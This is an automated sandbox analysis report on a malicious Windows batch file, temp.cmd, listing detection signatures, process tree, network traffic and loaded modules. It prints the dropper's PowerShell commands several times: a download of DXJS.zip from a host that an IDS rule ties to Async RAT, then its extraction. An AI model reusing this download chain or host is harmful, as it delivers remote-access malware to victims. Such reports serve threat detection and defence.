Edit tour

Windows Analysis Report
temp.cmd

Overview

General Information

Sample name:	temp.cmd
Analysis ID:	1446792
MD5:	9a0a5c37ad5779df65026fa65fface8f
SHA1:	a95cb44d167d5f1dd91007ff38f0619dded39d9a
SHA256:	c71626ef5b144db123108888526950755f79e82d772a3fe0b99b8a781b382970
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic

Loading BitLocker PowerShell Module

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Uses a known web browser user agent for HTTP communication

Classification

Process Tree

System is w10x64

cmd.exe (PID: 6828 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\temp.cmd" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6832 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3120 cmdline: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://invoicetrycloudflare.com:9983/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }" MD5: 04029E121A0CFA5991749937DD22A1D9)

powershell.exe (PID: 7832 cmdline: powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Sigma Signatures

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7832, TargetFilename: C:\Users\user\Downloads\Python\Launcher\py.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://invoicetrycloudflare.com:9983/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://invoicetrycloudflare.com:9983/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\temp.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6828, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://invoicetrycloudflare.com:9983/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 3120, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://invoicetrycloudflare.com:9983/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://invoicetrycloudflare.com:9983/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\temp.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6828, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://invoicetrycloudflare.com:9983/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 3120, ProcessName: powershell.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://invoicetrycloudflare.com:9983/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://invoicetrycloudflare.com:9983/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\temp.cmd" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6828, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://invoicetrycloudflare.com:9983/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }", ProcessId: 3120, ProcessName: powershell.exe

Snort Signatures

ET TROJAN DNS Query to Async RAT Related Domain (invoicetrycloudflare .com) - Source IP: 192.168.2.4 - Destination IP: 1.1.1.1

Timestamp:	05/23/24-20:38:44.544546
SID:	2052733
Source Port:	62859
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.run">(pdb.Pdb method)</a> source: genindex-R.html.6.dr
Source:	Binary string: <li><a href="library/pdb.html#index-1">Pdb (class in pdb)</a>, <a href="library/pdb.html#pdb.Pdb">[1]</a> source: genindex-P.html.6.dr
Source:	Binary string: <tr class="row-even"><td><p>pdb.Pdb</p></td> source: audit_events.html.6.dr
Source:	Binary string: <td><p><a class="reference internal" href="pdb.html#pdb.Pdb">[1]</a></p></td> source: audit_events.html.6.dr
Source:	Binary string: <p>On Windows now <a class="reference internal" href="../library/pdb.html#pdb.Pdb" title="pdb.Pdb"><code class="xref py py-class docutils literal notranslate"><span class="pre">Pdb</span></code></a> supports <code class="docutils literal notranslate"><span class="pre">~/.pdbrc</span></code>. source: 3.9.html.6.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.runeval">(pdb.Pdb method)</a> source: genindex-R.html.6.dr
Source:	Binary string: <li><a href="library/pdb.html#pdb.Pdb.runcall">(pdb.Pdb method)</a> source: genindex-R.html.6.dr
Source:	Binary string: (<a class="reference internal" href="pdb.html#pdb.Pdb" title="pdb.Pdb"><code class="xref py py-class docutils literal notranslate"><span class="pre">pdb.Pdb</span></code></a>) is an example.</p> source: bdb.html.6.dr

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2052733 ET TROJAN DNS Query to Async RAT Related Domain (invoicetrycloudflare .com) 192.168.2.4:62859 -> 1.1.1.1:53

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 9983
Source: unknown	Network traffic detected: HTTP traffic on port 9983 -> 49730

Source: global traffic

TCP traffic: 192.168.2.4:49730 -> 185.29.11.28:9983

Source: Joe Sandbox View

ASN Name: DATACLUB-NL DATACLUB-NL

Source: global traffic

HTTP traffic detected: GET /DXJS.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: invoicetrycloudflare.com:9983Connection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /DXJS.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: invoicetrycloudflare.com:9983Connection: Keep-Alive

Source: pyporting.html.6.dr	String found in binary or memory: <li><p><a class="reference external" href="https://www.youtube.com/watch?v=JgIgEjASOlk">PyCon 2020 tutorial</a></p></li> equals www.youtube.com (Youtube)
Source: curses.html.6.dr	String found in binary or memory: <li><p><a class="reference external" href="https://www.youtube.com/watch?v=eN1eZtjLEnU"> equals www.youtube.com (Youtube)

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6832:120:WilError_03

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\temp.cmd" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://invoicetrycloudflare.com:9983/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://invoicetrycloudflare.com:9983/DXJS.zip' -OutFile 'C:\Users\user\Downloads\DXJS.zip' }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "& { Expand-Archive -Path 'C:\Users\user\Downloads\DXJS.zip' -DestinationPath 'C:\Users\user\Downloads' -Force }"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\en-US\BitLocker.psd1	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 5275	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4843	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5022	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6401	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3298	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4176	Thread sleep count: 4843 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4176	Thread sleep count: 5022 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1544	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6672	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep count: 6401 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7884	Thread sleep count: 3298 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7912	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
